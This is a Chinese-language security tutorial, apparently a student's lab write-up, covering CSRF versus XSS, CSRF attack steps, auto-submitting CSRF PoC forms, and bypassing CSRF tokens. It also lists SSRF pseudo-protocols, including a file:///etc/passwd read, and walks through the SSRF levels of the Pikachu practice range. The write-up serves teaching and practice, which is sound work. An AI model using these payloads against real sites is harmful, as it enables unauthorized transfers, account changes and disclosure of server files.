文章目录
一、CSRF和XSS区别
CSRF(跨站请求伪造)和XSS(跨站脚本攻击)是两种常见的网络安全攻击方式,它们的主要区别如下:
-
攻击目标:
CSRF:攻击者诱使用户在已认证的会话中执行不想要的操作,利用用户的身份进行请求。
XSS:攻击者在网页中注入恶意脚本,当用户访问该网页时,脚本会在用户的浏览器中执行。 -
攻击方式:
CSRF:通过伪造用户的请求(如表单提交、链接点击等),利用用户的身份进行操作。
XSS:通过注入恶意JavaScript代码,直接在用户的浏览器中执行,可能窃取用户信息或进行其他恶意操作。 -
用户交互:
CSRF:用户通常不知情,攻击在用户的背景下进行。
XSS:用户可能会看到异常行为或内容,攻击通常是通过用户的主动行为触发的。 -
防御措施:
CSRF:使用CSRF令牌、SameSite Cookie属性等来防止伪造请求。
XSS:通过输入验证、输出编码、内容安全策略(CSP)等来防止脚本注入。
总结来说,CSRF利用用户的身份进行未授权操作,而XSS则是通过注入脚本直接攻击用户的浏览器。
二、总结CSRF攻击步骤
CSRF(跨站请求伪造)攻击的步骤通常包括以下几个关键环节:
-
用户认证:
用户在受信任的网站(如银行、社交媒体等)上进行登录,服务器为用户创建会话并存储身份验证信息(如Cookie)。 -
攻击者准备恶意请求:
攻击者创建一个恶意网站或页面,其中包含指向受信任网站的请求(如表单提交、链接等),这些请求会在用户不知情的情况下执行。 -
诱导用户访问恶意网站:
攻击者通过社交工程手段(如发送钓鱼邮件、社交媒体链接等)诱使用户访问其恶意网站。 -
用户触发请求:
当用户在恶意网站上执行某个操作(如点击链接、提交表单等)时,浏览器会自动附带用户的身份验证信息(如Cookie),向受信任网站发送请求。 -
受信任网站处理请求:
受信任网站接收到请求后,认为这是来自已认证用户的合法请求,执行相应的操作(如转账、修改账户信息等)。 -
攻击成功:
用户在不知情的情况下,受信任网站执行了攻击者预设的操作,导致潜在的损失或信息泄露。
通过以上步骤,CSRF攻击能够利用用户的身份进行未授权的操作,因此防范措施(如CSRF令牌)显得尤为重要。
三、CSRF手工构造POST型页面方法
手工构造一个用于CSRF攻击的POST请求页面通常涉及创建一个HTML表单,该表单在用户访问时会自动提交到目标网站。构造POST型页面的步骤如下:
步骤
-
确定目标URL:
找到受信任网站的POST请求URL(例如,用户资料更新、转账等)。 -
收集必要参数:
确定该POST请求所需的所有参数(如用户ID、金额、表单字段等)。 -
构造HTML表单:
创建一个HTML页面,其中包含一个隐藏的表单,表单的action
属性指向目标URL,method
属性设置为POST
。 -
添加隐藏字段:
在表单中添加所有必要的字段,并将其值设置为攻击者希望提交的值。 -
自动提交表单:
使用JavaScript在页面加载时自动提交表单。
简单示例
构造一个CSRF攻击的POST请求页面:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF Attack Example</title>
<script>
// 页面加载时自动提交表单
window.onload = function() {
document.getElementById("csrfForm").submit();
};
</script>
</head>
<body>
<form id="csrfForm" action="https://target-website.com/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="toAccount" value="attackerAccount">
<!-- 其他必要的隐藏字段 -->
</form>
<p>正在处理请求...</p>
</body>
</html>
这里以pikachu靶场的CSRF(post)这一关演示页面构造方法
2.修改信息,抓包
3.在抓到的包处,右键选择Engagement tools(相关工具),然后再选择generate csrf poc(生成CSRF PoC)
4.将图中元素修改为自己想要的,这里将住址改为重庆邮电大学5.点击在浏览器中测试,并复制url
6.在浏览器中打开网页,并点击提交
7.可以看到pikachu靶场中名为kobe的账号住址被更改
四、token类CSRF利用方法
Token类CSRF攻击利用方法通常涉及绕过CSRF防护机制,尤其是当目标网站的CSRF令牌管理不当时。常见的利用方法:
1. 获取CSRF令牌:
- 攻击者首先需要获取目标网站的CSRF令牌。这可以通过多种方式实现:
社交工程:诱使用户在受信任的网站上执行某些操作,从而在浏览器中获取令牌。
XSS攻击:如果目标网站存在XSS漏洞,攻击者可以注入脚本以窃取CSRF令牌。
2. 构造恶意请求:
一旦攻击者获得了CSRF令牌,他们可以构造一个恶意请求,包含该令牌。请求的构造步骤如下:
- 确定目标URL:找到需要提交的POST请求的URL。
收集参数:确定所有必需的参数,包括CSRF令牌。
构造表单:创建一个HTML表单,包含所有必要的字段和CSRF令牌。
3. 自动提交请求:
使用JavaScript在用户访问恶意页面时自动提交构造的表单。
示例代码
利用获取到的CSRF令牌进行攻击:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF Token Exploit Example</title>
<script>
// 页面加载时自动提交表单
window.onload = function() {
document.getElementById("csrfForm").submit();
};
</script>
</head>
<body>
<form id="csrfForm" action="https://target-website.com/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="toAccount" value="attackerAccount">
<input type="hidden" name="csrf_token" value="obtained_csrf_token"> <!-- 获取的CSRF令牌 -->
<!-- 其他必要的隐藏字段 -->
</form>
<p>正在处理请求...</p>
</body>
</html>
可以安装CSRF Token Tracker插件
CSRF Token Tracker可以自动获取 csrf 的 token,对于一些有 csrf 限制的请求,它可以绕过该限制,如暴力破解具有 csrf token 的登录请求。它是个BP插件可以在BApp Store下载安装
安装好后进行配置就可以使用了
五、SSRF常用伪协议
SSRF(服务器端请求伪造)攻击利用服务器的能力发起请求,通常可以通过多种伪协议进行。一些常见的伪协议:
-
file://:
允许攻击者访问服务器本地文件系统中的文件。例如,攻击者可以尝试读取敏感文件(如/etc/passwd
):file:///etc/passwd
-
http:// 和 https://:
SSRF攻击最常见的形式,攻击者可以利用服务器发起对内部或外部服务的HTTP请求。例如,攻击者可以请求内部API或服务:http://localhost:8080
-
ftp://:
通过FTP协议,攻击者可以尝试访问FTP服务器或下载文件:ftp://example.com/file.txt
-
gopher://:
Gopher协议可以用于访问特定的网络资源,攻击者可以利用它来进行更复杂的请求:gopher://example.com
-
dict://:
通过Dict协议,攻击者可以尝试访问字典服务器,获取信息:dict://example.com
-
mailto::
虽然不常见,但攻击者可以尝试利用邮件协议发送请求:mailto:attacker@example.com
-
ws:// 和 wss://:
WebSocket协议,攻击者可以尝试通过WebSocket与服务器进行通信:ws://localhost:3000
六、SSRF pikachu靶场通关
1.SSRF(curl)
我们先看下curl的用法:
https://www.runoob.com/php/php-ref-curl.html
依次点击,发现这里出现了一个url地址
http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php
因为curl支持很多协议,就可以做以下尝试:
1、通过网址访问链接
比如说修改url为:url=http://www.baidu.com
,访问百度页面:
2、利用file协议查看本地文件
修改url为:url=file:///D:/text.txt
,查看文件的内容:
2. SSRF(file_get_content)
跟上关类似,url变成了file
file读取本地文件
修改file为:file=file:///D:/text.txt
,查看文件的内容:
七、SSRF靶场通关时根据源代码说明漏洞成因(加分项)
查看源码
1.url源码:
使用了curl_exec()函数通过PHP对数据进行获取,并且输出返回,明显存在服务端请求伪造,应当对前端的URL进行白名单的过滤。
- file_get_content源码
使用PHP函数file_get_content()读取文件且未进行白名单过滤